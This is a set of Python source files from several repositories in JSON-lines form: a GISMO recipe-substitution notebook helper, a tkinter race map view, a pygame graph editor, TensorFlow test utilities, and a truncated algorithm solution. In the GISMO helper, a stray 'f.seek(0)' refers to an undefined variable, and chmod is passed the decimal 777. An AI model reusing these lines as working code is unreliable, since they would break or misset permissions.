vocab.idx2word.get(i)\n if word != \"\":\n if isinstance(word, list):\n ingredient_list.append(word[0])\n else:\n ingredient_list.append(word)\n print(ingredient_list)\n\n @classmethod\n def display_recipe(cls, prediction: torch.Tensor, vocab: Vocabulary):\n text = recipe_to_text(prediction, vocab)\n text = format_recipe(text)\n for line in text.splitlines():\n print(line)\n\n\nclass InteractiveSubstitutions:\n \"\"\"\n Utility class for notebook in order to visualise recipes and\n have human-in-the-loop interactions for substitutions\n\n Args:\n model: the ImageToRecipe model to evaluate\n data_module: the Lightning data model to load the data\n use_pred_ingr: use ground truth ingredients or predicted ingredients\n gismo_code_path: the path to GISMO code\n gismo_preprocess_folder: the GISMO folder where data is pre-processed\n \"\"\"\n def __init__(\n self,\n model: ImageToRecipe,\n data_module: Recipe1MDataModule,\n use_pred_ingr: bool,\n gismo_code_path: str,\n gismo_preprocess_folder: str,\n gismo_output_folder: str,\n ):\n self.model = model\n self.data_module = data_module\n self.use_pred_ingr = use_pred_ingr\n self.model.eval()\n self.vocab_instr = data_module.dataset_test.instr_vocab\n self.vocab_ingr = data_module.dataset_test.ingr_vocab\n self.last_batch = None\n self.last_ingredients_tensor: Optional[torch.Tensor] = None\n self.last_ingredients = []\n self.gismo_code_path = os.path.expanduser(gismo_code_path)\n self.gismo_preprocess_folder = os.path.expanduser(gismo_preprocess_folder)\n self.gismo_output_folder = os.path.expanduser(gismo_output_folder)\n\n def sample_recipe(self, recipe_id_or_index: Union[str, int, None]):\n if isinstance(recipe_id_or_index, str):\n recipe_id: str = recipe_id_or_index\n batch = self.data_module.dataset_test.build_batch_from_recipe_ids([recipe_id])\n elif isinstance(recipe_id_or_index, int):\n recipe_idx = recipe_id_or_index\n batch = self.data_module.dataset_test.build_batch_from_indices([recipe_idx])\n else:\n return\n\n self.last_batch = batch\n model_device = next(self.model.parameters()).device\n losses, (ingredients, pred_recipes) = self.model(\n image=batch[\"image\"].to(model_device),\n ingredients=batch[\"ingredients\"].to(model_device),\n recipe=batch[\"recipe\"].to(model_device),\n use_ingr_pred=self.use_pred_ingr,\n compute_losses=True,\n compute_predictions=True,\n )\n if not self.use_pred_ingr:\n ingredients = batch[\"ingredients\"]\n\n # Display the image\n self.display_image(batch[\"image\"][0])\n\n # Display the ground truth recipe\n print(\"GROUND TRUTH RECIPE:\")\n self.display_ingredients(ingredients_to_text(batch[\"ingredients\"][0], self.vocab_ingr, full_list=False))\n self.display_recipe(batch[\"recipe\"][0])\n\n # Display the generated recipe\n print(\"GENERATED RECIPE:\")\n self.display_ingredients(ingredients_to_text(ingredients[0], self.vocab_ingr, full_list=False))\n self.display_recipe(pred_recipes.cpu()[0])\n\n # Keep in memory what is useful for GISMO to run\n self.last_ingredients_tensor = ingredients.cpu()\n self.last_ingredients = ingredients_to_text(ingredients[0], self.vocab_ingr, full_list=True)\n\n def compute_substitution(self, old_ingredient: str, lookup: bool = False) -> List[str]:\n return self.compute_substitutions([old_ingredient], lookup=lookup)[0]\n\n def compute_substitutions(self, old_ingredients: List[str], lookup: bool = False) -> List[List[str]]:\n assert isinstance(old_ingredients, list)\n self._export_to_gismo_format(old_ingredients)\n if lookup:\n output_dir = self._run_lookup_frequency()\n else:\n output_dir = self._run_gismo()\n output_file = os.path.join(output_dir, \"val_ranks_out.pkl\")\n \n f.seek(0)\n substitution = pickle.load(open(output_file, \"rb\"))\n return substitution\n\n def _export_to_gismo_format(self, old_ingredients: List[str]):\n exports = [\n {\n \"id\": \"\",\n \"subs\": (old_ingredient, old_ingredient),\n \"ingredients\": self.last_ingredients\n }\n for old_ingredient in old_ingredients\n ]\n for destination_file in [\"val_comments_subs.pkl\", \"test_comments_subs.pkl\"]:\n destination_path = os.path.join(self.gismo_preprocess_folder, destination_file)\n print(destination_path)\n with open(destination_path, \"wb\") as f:\n pickle.dump(exports, f)\n\n def _run_gismo(self) -> str:\n base_dir = self.gismo_code_path\n run_file_path = f\"{base_dir}/run_full_inference.sh\"\n output_dir = f\"{self.gismo_output_folder}/lr_5e-05_w_decay_0.0001_hidden_300_emb_d_300_dropout-0.25_nlayers_2_nr_400_neg_sampling_regular_with_titels_False_with_set_True_init_emb_random_lambda_0.0_i_1_data_augmentation_False_context_emb_mode_avg_pool_avg_p_augmentation_0.5_filter_False\"\n if os.path.exists(run_file_path):\n os.remove(run_file_path)\n with open(run_file_path, \"w\") as f:\n f.write(f\"cd {base_dir}\")\n f.write(\"\\n\")\n f.write(\"conda run -n inv_cooking_gismo \")\n f.write(\"python train.py name=GIN_MLP setup=context-full max_context=43 lr=0.00005 w_decay=0.0001 hidden=300 emb_d=300 dropout=0.25 nr=400 nlayers=2 lambda_=0.0 i=1 init_emb=random with_titles=False with_set=True filter=False\")\n f.write(\"\\n\")\n f.write(\"conda run -n inv_cooking_gismo \")\n f.write(f\"python to_val_output.py name=GIN_MLP setup=context-full max_context=43 lr=0.00005 w_decay=0.0001 hidden=300 emb_d=300 dropout=0.25 nr=400 nlayers=2 lambda_=0.0 i=1 init_emb=random with_titles=False with_set=True filter=False\")\n f.write(\"\\n\")\n os.chmod(run_file_path, 777)\n os.system(f\"bash {run_file_path} > /dev/null 2>&1\")\n return output_dir\n\n def _run_lookup_frequency(self) -> str:\n base_dir = self.gismo_code_path\n run_file_path = f\"{base_dir}/run_lookup.sh\"\n output_dir = f\"{self.gismo_output_folder}/lr_0.0001_w_decay_0.0005_hidden_200_emb_d_300_dropout-0.5_nlayers_2_nr_400_neg_sampling_regular_with_titels_False_with_set_False_init_emb_random_lambda_0.0_i_0_data_augmentation_False_context_emb_mode_avg_pool_avg_p_augmentation_0.5_filter_False/\"\n if os.path.exists(run_file_path):\n os.remove(run_file_path)\n with open(run_file_path, \"w\") as f:\n f.write(f\"cd {base_dir}\")\n f.write(\"\\n\")\n f.write(\"conda run -n inv_cooking_gismo \")\n f.write(\"python train.py name=LTFreq setup=context-free max_context=0\")\n # f.write(\"python train.py name=LT setup=context-free max_context=0\")\n f.write(\"\\n\")\n f.write(\"conda run -n inv_cooking_gismo \")\n f.write(f\"python to_val_output.py name=GIN_MLP setup=context-full max_context=43 lr=0.00005 w_decay=0.0001 hidden=300 emb_d=300 dropout=0.25 nr=400 nlayers=2 lambda_=0.0 i=1 init_emb=random with_titles=False with_set=True filter=False\")\n f.write(\"\\n\")\n os.chmod(run_file_path, 777)\n os.system(f\"bash {run_file_path} > /dev/null 2>&1\")\n return output_dir\n\n def substitute(self, old_ingredient: str, new_ingredient: str):\n self.substitute_all([(old_ingredient, new_ingredient)])\n\n def substitute_all(self, pairs: List[Tuple[str, str]]):\n subs_ingredients = self.last_ingredients_tensor.clone()\n for old_ingredient, new_ingredient in pairs:\n ingr_a = self.vocab_ingr.word2idx[old_ingredient]\n ingr_b = self.vocab_ingr.word2idx[new_ingredient]\n subs_ingredients[subs_ingredients == ingr_a] = ingr_b\n\n print(\"INGREDIENTS:\")\n self.display_ingredients(ingredients_to_text(subs_ingredients[0], self.vocab_ingr, full_list=False))\n\n batch = self.last_batch\n batch[\"substitution\"] = subs_ingredients\n model_device = next(self.model.parameters()).device\n losses_from_subs, (_, recipe_from_subs) = self.model(\n image=batch[\"image\"].to(model_device),\n ingredients=batch[\"substitution\"].to(model_device),\n recipe=batch[\"recipe\"].to(model_device),\n use_ingr_pred=False,\n compute_losses=True,\n compute_predictions=True,\n )\n recipe_from_subs = recipe_from_subs.cpu()\n image_tensor = batch[\"image\"][0]\n recipe = recipe_from_subs.cpu()[0]\n\n print(\"RECIPE:\")\n self.display_image(image_tensor)\n self.display_recipe(recipe)\n\n def display_image(self, image_tensor):\n import matplotlib.pyplot as plt\n image = tensor_to_image(image_tensor)\n plt.imshow(image)\n plt.axis(\"off\")\n\n def display_ingredients(self, ingredients: List[str]):\n for ingr in sorted(ingredients):\n print(f\"- {ingr}\")\n\n def display_recipe(self, recipe):\n text = recipe_to_text(recipe, self.vocab_instr)\n text = format_recipe(text)\n for line in text.splitlines():\n print(line)\n","repo_name":"facebookresearch/gismo","sub_path":"inv_cooking/utils/visualisation/im2recipe_viz.py","file_name":"im2recipe_viz.py","file_ext":"py","file_size_in_byte":21777,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"} +{"seq_id":"32535752479","text":"import tkinter as tk\nimport tkinter.ttk as ttk\nfrom os.path import join\n\nfrom view.frames.BasicFrame import BasicFrame\nfrom view.frames.maps.MapViewFrame import MapViewFrame\nfrom view.frames.maps.MapBasicControlFrame import MapBasicControlFrame\nfrom view.frames.RacingRosterFrame import RacingRosterFrame\nfrom controller.RaceController import RaceController\nfrom definitions import ASSETS_DIR, POLYGON_EXCLUSION_KWARGS, POLYGON_INCLUSION_KWARGS\n\n\nclass RaceViewFrame(BasicFrame):\n def __init__(self, master, race_controller: RaceController):\n super().__init__(master, grid=(1, 2), navigation_buttons=False, label='RACE')\n self.frame.columnconfigure(0, weight=10)\n\n self.controller = race_controller\n\n # Map frame\n self.map_frame = ttk.Frame(self.frame)\n self._map_class = MapViewFrame(self.map_frame)\n self.place_in_grid(self.map_frame, (0, 0))\n self._map_class.set_control_frame(MapRaceControlFrame, self.controller)\n\n # Order frame\n self.roster_frame = ttk.Frame(self.frame)\n self._roster_class = RacingRosterFrame(self.roster_frame, self.controller)\n self.place_in_grid(self.roster_frame, (0, 1))\n self._roster_class.update_rows()\n\n self.pack_frame()\n\n @property\n def map_class(self):\n return self._map_class\n\n @property\n def roster_class(self):\n return self._roster_class\n\n\nclass MapRaceControlFrame(MapBasicControlFrame):\n def __init__(self, master, map_view, controller: RaceController):\n super().__init__(master, map_view)\n\n self.controller = controller\n self._race_manager_callback = None\n self._draw_starting_points = True\n\n # Ready buttons\n self.ready_racers_button = ttk.Button(self.frame, text=f'ALL RACERS READY',\n command=self.ready_racers_button_click)\n self.pack_widget(self.ready_racers_button, 'left', 2)\n\n # Assets\n self._home_marker_icon = tk.PhotoImage(file=join(ASSETS_DIR, 'home_marker_25.png'))\n self._player_icons = {}\n self._player_markers = []\n\n def hide_starting_points(self):\n self._draw_starting_points = False\n\n def draw_update(self):\n self.map_view.delete_all_polygon()\n self.map_view.delete_all_marker()\n self.map_view.delete_all_path()\n\n self.draw_map()\n self.draw_checkpoints()\n self.draw_starting_points()\n\n def racer_update(self):\n if self._draw_starting_points:\n self.erase_racers()\n else:\n self.map_view.delete_all_marker()\n\n self.draw_racers()\n\n def draw_checkpoints(self):\n _checkpoints = self.controller.get_checkpoints()\n\n for ii_checkpoint in _checkpoints:\n _endpoints = ii_checkpoint.endpoints\n _path_list = [jj_endpoint.tuple for jj_endpoint in _endpoints]\n self.map_view.set_path(_path_list)\n\n def draw_map(self):\n _map = self.controller.get_map()\n\n if not _map:\n return\n\n # Draw zones\n _inclusion_zone = _map.inclusion_zone\n if _inclusion_zone:\n self.draw_zone(_inclusion_zone)\n _exclusion_zone = _map.exclusion_zone\n if _exclusion_zone:\n self.draw_zone(_exclusion_zone)\n\n def draw_zone(self, zone):\n # Polygon palette\n if zone.type is True:\n _zone_kwargs = POLYGON_INCLUSION_KWARGS\n else:\n _zone_kwargs = POLYGON_EXCLUSION_KWARGS\n\n # Polygon coordinate list\n _zone_coordinates = zone.tuple_list\n\n self.map_view.set_polygon(_zone_coordinates, **_zone_kwargs)\n\n def draw_starting_points(self):\n # Draw starting points\n starting_points = self.controller.get_starting_positions()\n for starting_point in starting_points:\n self.map_view.set_marker(*starting_point.tuple, icon=self._home_marker_icon)\n\n def draw_racers(self):\n for player_number, player in self.controller.get_players().items():\n telemetry_info = self.controller.get_telemetry(player_number)\n if telemetry_info:\n self._player_icons[player_number] = tk.PhotoImage(\n file=join(ASSETS_DIR, f'racer_marker_{player.icon_color}.png'))\n\n racer_marker = self.map_view.set_marker(*telemetry_info.position, icon=self._player_icons[player.id],\n text=player_number)\n self._player_markers.append(racer_marker)\n\n def erase_racers(self):\n for marker in self._player_markers:\n marker.delete()\n self._player_markers = []\n\n def set_race_manager_callback(self, func):\n self._race_manager_callback = func\n\n def ready_racers_button_click(self):\n self._race_manager_callback()\n\n\nif __name__ == '__main__':\n from view.MyTk import Window\n\n win = Window()\n win.config()\n foo = MapViewFrame(win, MapRaceControlFrame)\n win.mainloop()\n","repo_name":"ssancheze/project-fd","sub_path":"view/frames/maps/RaceViewFrame.py","file_name":"RaceViewFrame.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4145761482","text":"#!/usr/bin/env python3\n\nimport pygame\nimport math as maths\nimport sys\nimport os\nimport json\nimport datetime\n\nCOLOUR_BG = ( 0, 0, 0)\nCOLOUR_FG = (255, 255, 255)\nCOLOUR_SELECTED = ( 0, 255, 0)\nCOLOUR_DELETE = (255, 0, 0)\n\ndef now():\n return(datetime.datetime.now().isoformat().split(\".\")[0])\n\ndef export_json(filename = \"\"):\n if(filename == \"\"):\n filename = \"graph_\" + now() + \".json\"\n nodes_json = [{\"name\": node[2], \"position\": node[1].center} for node in nodes]\n full_json = {\"nodes\": nodes_json, \"edges\": edges}\n path = os.path.dirname(os.path.realpath(__file__))\n file = open(path + \"/\" + filename, \"w\")\n file.write(json.dumps(full_json, indent=4))\n file.close()\n\ndef import_json(filename):\n global nodes\n global edges\n path = os.path.dirname(os.path.realpath(__file__))\n file = open(path + \"/\" + filename, \"r\")\n file_contents = json.loads(file.read())\n file.close()\n nodes_json = file_contents[\"nodes\"]\n edges_json = file_contents[\"edges\"]\n n = len(nodes)\n for row in edges:\n row.extend([0 for node in nodes_json])\n for (i, node) in enumerate(nodes_json):\n text = font.render(node[\"name\"], True, COLOUR_FG, COLOUR_BG)\n textbox = text.get_rect()\n textbox.center = node[\"position\"]\n nodes.append([text, textbox, node[\"name\"]])\n edges.append([0 for j in range(n)])\n edges[-1].extend(edges_json[i])\n\ndef toggle_import():\n global file_menu\n global menu\n file_menu = not(file_menu)\n if(file_menu):\n path = os.path.dirname(os.path.realpath(__file__))\n jsons = [file for file in os.listdir(path) if file[-5:] == \".json\"]\n menu = []\n for (i, json) in enumerate(jsons):\n text = font.render(json, True, COLOUR_FG, COLOUR_BG)\n box = text.get_rect()\n box.center = [size[0] / 2, size[1] / 2 - 1.5 * (len(jsons) / 2 - i) * font_size]\n menu.append([text, box, json])\n\ndef createNode(position = (0,0), label = \"\"):\n global edges\n global nodes\n text = font.render(label, True, COLOUR_FG, COLOUR_BG)\n textbox = text.get_rect()\n textbox.center = position\n nodes.append([text, textbox, label])\n for row in edges:\n row.append(0)\n edges.append([0 for node in nodes])\n edges[-1][-1] = 1\n\ndef deleteNode(node):\n global nodes\n global edges\n nodes.remove(nodes[node])\n for row in edges:\n row[node] = None #Setting the value to None means it will delete the correct item\n row.remove(None) #instead of the first item with the same value\n edges[node] = None\n edges.remove(None)\n\ndef createEdge(node1, node2):\n global edges\n edges[node1][node2] += 1\n edges[node2][node1] += 1\n\ndef arrangeNodes(radius, centre):\n global nodes\n n = len(nodes)\n factor = 2 * maths.pi / n\n for i in range(n):\n x_i = radius * maths.cos(factor * i) + centre[0]\n y_i = radius * maths.sin(factor * i) + centre[1]\n nodes[i][1].center = (x_i, y_i)\n\ndef focusNode(node, radius, centre):\n node[1].center = centre\n n = len(nodes)\n factor = 2 * maths.pi / (n - 1)\n past = 0 #If we have iterated past node\n for i in range(n):\n if(nodes[i] != node):\n x_i = radius * maths.cos(factor * (i - past)) + centre[0]\n y_i = radius * maths.sin(factor * (i - past)) + centre[1]\n nodes[i][1].center = (x_i, y_i)\n else:\n past = 1\n\ndef changeZoom(centre, amount):\n global nodes\n for node in nodes:\n dx, dy = (node[1].x - centre[0], node[1].y - centre[1])\n dx *= 1.1 ** amount\n dy *= 1.1 ** amount\n node[1].x = centre[0] + dx\n node[1].y = centre[1] + dy\n\ndef isConnected(node1, node2):\n return(bool(edges[node1, node2]))\n\ndef quitProgram():\n global run\n run = False\n\ndef focus():\n global selected\n if(selected):\n focusNode(selected, 200, screenCentre)\n selected[0] = font.render(selected[2], True, COLOUR_FG, COLOUR_BG)\n selected = None\n\ndef clearEdges():\n global edges\n edges = [[int(node_a==node_b) for node_a in nodes] for node_b in nodes]\n\ndef clearAll():\n global nodes\n global edges\n nodes = []\n edges = []\n\ndef complete():\n global edges\n edges = [[1 for node_a in nodes] for node_b in nodes]\n\ndef changeFontSize(changeInFontSize):\n global font_size\n global font\n global minTextBox\n font_size = font_size + changeInFontSize\n font = pygame.font.SysFont(\"monospace\", font_size)\n for node in nodes:\n node[0] = font.render(node[2], True, COLOUR_FG, COLOUR_BG)\n centre = node[1].center\n node[1] = node[0].get_rect()\n node[1].center = centre\n minTextBox = font.render(node[2], True, COLOUR_FG, COLOUR_BG).get_size()\n\ndef changeLineWidth(changeInLineWidth):\n global line_width\n line_width = line_width + changeInLineWidth\n\ndef printStatus():\n print(edges)\n print([node[2] for node in nodes])\n\ndef rename():\n global renaming\n renaming = True if selected is not None else False\n\ndef debug():\n print(\"selected: \", selected)\n print(\"renaming: \", renaming)\n print(\"drag: \", drag)\n print(\"scroll: \", scroll)\n print(\"file_menu: \", file_menu)\n\nkeys = {\"q\": [quitProgram, \"quit\"],\n \"a\": [lambda: arrangeNodes(200, screenCentre), \"arrange nodes\"],\n \"f\": [focus, \"focus node\"],\n \"n\": [lambda: createNode(screenCentre, label = str(len(nodes))), \"new node\"],\n \"c\": [clearEdges, \"clear all edges\"],\n \"k\": [complete, \"connect all nodes\"],\n \"=\": [lambda: changeFontSize(5), \"increase font size\"],\n \"-\": [lambda: changeFontSize(-5), \"decrease font size\"],\n \"+\": [lambda: changeLineWidth(1), \"increase line width\"],\n \"_\": [lambda: changeLineWidth(-1), \"decrease line width\"],\n \"]\": [lambda: changeZoom(screenCentre, 1), \"zoom in\"],\n \"[\": [lambda: changeZoom(screenCentre, -1), \"zoom out\"],\n \"p\": [printStatus, \"print status\"],\n \"e\": [export_json, \"export json\"],\n \"i\": [toggle_import, \"import json\"],\n \"r\": [rename, \"rename node\"],\n \"d\": [debug, \"debug\"],\n \"x\": [clearAll, \"remove all nodes and edges\"]\n}\n\nif(__name__ == \"__main__\"):\n pygame.init()\n size = (1600, 900)\n screenCentre = (size[0] / 2, size[1] / 2)\n surface = pygame.display.set_mode(size, pygame.RESIZABLE)\n pygame.display.set_caption(\"Graph Theory\")\n clock = pygame.time.Clock()\n\n run = True\n drag = False #drag node\n scroll = False #drag screen (i.e. scrolling)\n renaming = False\n selected = None\n file_menu = False\n line_width = 2\n font_size = 40\n font = pygame.font.SysFont(\"monospace\", font_size)\n minTextBox = font.render(\"0\", True, COLOUR_FG, COLOUR_BG).get_size()\n\n nodes = []\n edges = []\n toggle_import()\n\n while(run):\n for event in pygame.event.get():\n if(event.type == pygame.QUIT):\n run = False\n elif(event.type == pygame.VIDEORESIZE):\n factor = (event.w / size[0], event.h / size[1]) #rescale factor\n size = (event.w, event.h)\n screenCentre = (event.w / 2, event.h / 2)\n surface = pygame.display.set_mode(size, pygame.RESIZABLE)\n elif((event.type == pygame.KEYDOWN) and not(renaming)):\n if(str(event.unicode) in keys):\n keys[str(event.unicode)][0]()\n else:\n if((file_menu) and (event.key == pygame.K_ESCAPE)):\n file_menu = False\n elif((event.type == pygame.KEYDOWN) and (renaming) and not(file_menu)):\n if(event.key == pygame.K_BACKSPACE):\n selected[2] = selected[2][:-1]\n elif((event.key == pygame.K_RETURN) or (event.key == pygame.K_ESCAPE)):\n selected[0] = font.render(selected[2], True, COLOUR_FG, COLOUR_BG)\n renaming = False\n selected = None\n break\n else:\n selected[2] += str(event.unicode)\n centre = selected[1].center\n selected[0] = font.render(selected[2], True, COLOUR_SELECTED, COLOUR_BG)\n selected[1] = selected[0].get_rect()\n selected[1].center = centre\n elif((event.type == pygame.MOUSEBUTTONDOWN) and not(file_menu)):\n if(event.button == 1): #left click - moves nodes\n for node in nodes:\n if(node[1].collidepoint(event.pos)):\n drag = True\n node1 = node\n mouse_x, mouse_y = event.pos\n dx = node1[1].x - mouse_x\n dy = node1[1].y - mouse_y\n break\n if(not(drag)):\n scroll = True\n mouse_x, mouse_y = event.pos\n dxs = [node[1].x - mouse_x for node in nodes]\n dys = [node[1].y - mouse_y for node in nodes]\n elif(event.button == 2): #middle click - deletes nodes\n for node in nodes:\n if(node[1].collidepoint(event.pos)):\n deleteNode(nodes.index(node))\n elif(event.button == 3): #right click - connects/disconnects nodes\n v = 1\n for node in nodes:\n if(node[1].collidepoint(event.pos)):\n v *= 0\n if((selected is not None) and (node != selected)):\n node_i = nodes.index(node)\n selected_i = nodes.index(selected)\n if(edges[selected_i][node_i] and not(pygame.key.get_mods() & pygame.KMOD_SHIFT)):\n #not holding shift connects disconnected pairs, disconnects connected pairs\n edges[selected_i][node_i] = max(0, edges[selected_i][node_i]-1)\n edges[node_i][selected_i] = edges[selected_i][node_i]\n else:\n #holding shift allows multiple connections between nodes\n edges[selected_i][node_i] += 1\n edges[node_i][selected_i] += 1\n if(not(renaming)): #if not renaming, deselect nodes\n selected[0] = font.render(selected[2], True, COLOUR_FG, COLOUR_BG)\n selected = None\n node[0] = font.render(node[2], True, COLOUR_FG, COLOUR_BG)\n elif((selected is not None) and (node == selected)):\n #Right clicking on the selected node deselects it\n selected = None\n renaming = False\n node[0] = font.render(node[2], True, COLOUR_FG, COLOUR_BG)\n else:\n selected = node\n node[0] = font.render(node[2], True, COLOUR_SELECTED, COLOUR_BG)\n if(v and (selected is not None)):\n selected[0] = font.render(selected[2], True, COLOUR_FG, COLOUR_BG)\n selected = None\n renaming = False\n elif((event.type == pygame.MOUSEBUTTONDOWN) and (event.button == 1) and (file_menu)):\n v = 1\n for item in menu:\n if(item[1].collidepoint(event.pos)):\n v *= 0\n import_json(item[2])\n file_menu = False\n if(v):\n file_menu = False\n elif(event.type == pygame.MOUSEBUTTONUP):\n if(event.button == 1):\n drag = False\n scroll = False\n renaming = False\n elif(event.type == pygame.MOUSEMOTION):\n if(drag):\n mouse_x, mouse_y = event.pos\n node1[1].x = mouse_x + dx\n node1[1].y = mouse_y + dy\n if(scroll):\n mouse_x, mouse_y = event.pos\n for i in range(len(nodes)):\n nodes[i][1].x = mouse_x + dxs[i]\n nodes[i][1].y = mouse_y + dys[i]\n elif(event.type == pygame.MOUSEWHEEL):\n changeZoom(pygame.mouse.get_pos(), event.y)\n surface.fill(COLOUR_BG)\n for node_a in nodes:\n for node_b in nodes:\n colour = COLOUR_SELECTED if(selected in [node_a, node_b]) else COLOUR_FG\n pygame.draw.line(surface, colour, node_a[1].center, node_b[1].center, line_width * edges[nodes.index(node_a)][nodes.index(node_b)])\n for node in nodes: #looks nicer with nodes on top of edges\n colour = COLOUR_SELECTED if(node == selected) else COLOUR_FG\n if(node[2] != \"\"):\n pygame.draw.rect(surface, colour, pygame.Rect(node[1].x - 1, node[1].y - 1, node[1].w + 2, node[1].h + 2))\n else:\n pygame.draw.circle(surface, colour, node[1].center, min(minTextBox))\n surface.blit(node[0], node[1])\n if(file_menu):\n for item in menu:\n pygame.draw.rect(surface, (255, 0, 0), pygame.Rect(item[1].x - 1, item[1].y - 1, item[1].w + 2, item[1].h + 2))\n surface.blit(item[0], item[1])\n pygame.display.flip()\n clock.tick(60)\n pygame.quit()\n sys.exit()\n\n# TODO\n# Select multiple nodes (holding shift or control)\n# Ability to colour nodes (change selected node to flashing or colour-changing)\n# Change it so zooming and moving don't move the nodes, but the camera\n# Vim-like\n# Rules for connecting edges\n# Edge names\n# Digraph?\n","repo_name":"ftredget/graphtheory","sub_path":"graphtheory.py","file_name":"graphtheory.py","file_ext":"py","file_size_in_byte":14175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5944077509","text":"import unittest\n\nfrom absl.testing import parameterized\nfrom keras.testing_infra import test_combinations\nfrom keras.testing_infra import test_utils\nimport numpy as np\nimport tensorflow as tf\n\n\nlayer_test = test_utils.layer_test\nrun_all_execution_modes = test_combinations.run_all_keras_modes\n\n\nclass TestCase(tf.test.TestCase, parameterized.TestCase):\n \"\"\"Class to provide TensorFlow MRI specific test features.\"\"\"\n # pylint: disable=invalid-name\n\n def assertAllTrue(self, a):\n \"\"\"Assert that all entries in a boolean `Tensor` are True.\n\n Args:\n a: A `Tensor`.\n \"\"\"\n a_ = self.get_nd_array(a)\n all_true = np.ones_like(a_, dtype=np.bool)\n self.assertAllEqual(all_true, a_)\n\n def assertAllFalse(self, a):\n \"\"\"Assert that all entries in a boolean `Tensor` are False.\n\n Args:\n a: A `Tensor`.\n \"\"\"\n a_ = self.get_nd_array(a)\n all_false = np.zeros_like(a_, dtype=np.bool)\n self.assertAllEqual(all_false, a_)\n\n def assertAllFinite(self, a):\n \"\"\"Assert that all entries in a `Tensor` are finite.\n\n Args:\n a: A `Tensor`.\n \"\"\"\n is_finite = np.isfinite(self.get_nd_array(a))\n all_true = np.ones_like(is_finite, dtype=np.bool)\n self.assertAllEqual(all_true, is_finite)\n\n def assertAllPositiveInf(self, a):\n \"\"\"Assert that all entries in a `Tensor` are equal to positive infinity.\n\n Args:\n a: A `Tensor`.\n \"\"\"\n is_positive_inf = np.isposinf(self.get_nd_array(a))\n all_true = np.ones_like(is_positive_inf, dtype=np.bool)\n self.assertAllEqual(all_true, is_positive_inf)\n\n def assertAllNegativeInf(self, a):\n \"\"\"Assert that all entries in a `Tensor` are negative infinity.\n\n Args:\n a: A `Tensor`.\n \"\"\"\n is_negative_inf = np.isneginf(self.get_nd_array(a))\n all_true = np.ones_like(is_negative_inf, dtype=np.bool)\n self.assertAllEqual(all_true, is_negative_inf)\n\n def get_nd_array(self, a):\n \"\"\"Convert a `Tensor` to an `ndarray`.\n\n Args:\n a: A `Tensor`.\n\n Returns:\n An `ndarray`.\n \"\"\"\n if tf.is_tensor(a):\n if tf.executing_eagerly():\n a = a.numpy()\n else:\n a = self.evaluate(a)\n if not isinstance(a, np.ndarray):\n return np.array(a)\n return a\n\n def skip_if_no_xla(self):\n \"\"\"Skip this test if XLA is not available.\"\"\"\n try:\n tf.function(lambda: tf.constant(0), jit_compile=True)()\n except (tf.errors.UnimplementedError, NotImplementedError) as e:\n if 'Could not find compiler' in str(e):\n self.skipTest('XLA not available')\n\n\ndef run_in_graph_and_eager_modes(func=None, config=None, use_gpu=True):\n \"\"\"Execute the decorated test in both graph mode and eager mode.\n\n This function returns a decorator intended to be applied to test methods in\n a `test_case.TestCase` class. Doing so will cause the contents of the test\n method to be executed twice - once in graph mode, and once with eager\n execution enabled. This allows unittests to confirm the equivalence between\n eager and graph execution.\n\n .. note::\n This decorator can only be used when executing eagerly in the outer scope.\n\n Args:\n func: function to be annotated. If `func` is None, this method returns a\n decorator the can be applied to a function. If `func` is not None this\n returns the decorator applied to `func`.\n config: An optional config_pb2.ConfigProto to use to configure the session\n when executing graphs.\n use_gpu: If `True`, attempt to run as many operations as possible on GPU.\n\n Returns:\n Returns a decorator that will run the decorated test method twice:\n once by constructing and executing a graph in a session and once with\n eager execution enabled.\n \"\"\"\n def decorator(f): # pylint: disable=missing-param-doc\n \"\"\"Decorator for a method.\"\"\"\n\n def decorated(self, *args, **kwargs): # pylint: disable=missing-param-doc\n \"\"\"Run the decorated test method.\"\"\"\n if not tf.executing_eagerly():\n raise ValueError('Must be executing eagerly when using the '\n 'run_in_graph_and_eager_modes decorator.')\n\n # Run in eager mode.\n f(self, *args, **kwargs)\n self.tearDown()\n\n # Run in graph mode.\n with tf.Graph().as_default():\n self.setUp()\n with self.test_session(use_gpu=use_gpu, config=config):\n f(self, *args, **kwargs)\n\n return decorated\n\n if func is not None:\n return decorator(func)\n\n return decorator\n\n\ndef run_all_in_graph_and_eager_modes(cls):\n \"\"\"Execute all test methods in the given class with and without eager.\"\"\"\n base_decorator = run_in_graph_and_eager_modes\n\n for name in dir(cls):\n if (not name.startswith(unittest.TestLoader.testMethodPrefix) or\n name.startswith(\"testSkipEager\") or\n name.startswith(\"test_skip_eager\") or\n name == \"test_session\"):\n continue\n value = getattr(cls, name, None)\n if callable(value):\n setattr(cls, name, base_decorator(value))\n\n return cls\n","repo_name":"mrphys/tensorflow-mri","sub_path":"tensorflow_mri/python/util/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"3"} +{"seq_id":"13676210907","text":"'''\nXiaochi Ma\n2018-12-26\n'''\nfrom functools import reduce\nclass Solution:\n \n def findMinHeightTrees(self, n, edges):\n \n if len(edges) == 0:\n return [0]\n \n degrees = [0] * n\n graph = {x:[] for x in range(n)}\n for edge in edges:\n degrees[edge[0]] += 1\n degrees[edge[1]] += 1\n graph[edge[0]].append(edge[1])\n graph[edge[1]].append(edge[0])\n \n q = [x for x in range(n) if degrees[x] == 1]\n ret = []\n while q:\n temp = []\n ret = q[:]\n for x in q:\n for n in graph[x]:\n degrees[n] -= 1\n if degrees[n] == 1:\n temp.append(n)\n q = temp\n \n return ret\n \n def multiply2(self, A, B):\n \n nrow = len(A)\n ncol = len(B[0])\n \n res = [[0] * ncol for i in range(nrow)]\n for i in range(nrow):\n for j in range(ncol):\n l1 = A[i]\n l2 = []\n for k in range(len(B)):\n l2.append(B[k][j])\n res[i][j] = reduce(lambda a,b:a+b, [a*b for a, b in zip(l1, l2)])\n \n return res\n \n def multiply(self, A, B):\n\n new_A = []\n for i in range(len(A)):\n row = []\n for j in range(len(A[0])):\n if A[i][j] != 0:\n row.append((j, A[i][j]))\n new_A.append(row)\n\n result = [[0] * len(B[0]) for _ in range(len(A))]\n for i in range(len(new_A)):\n for j in range(len(new_A[i])):\n for k in range(len(B[0])):\n result[i][k] += new_A[i][j][1] * 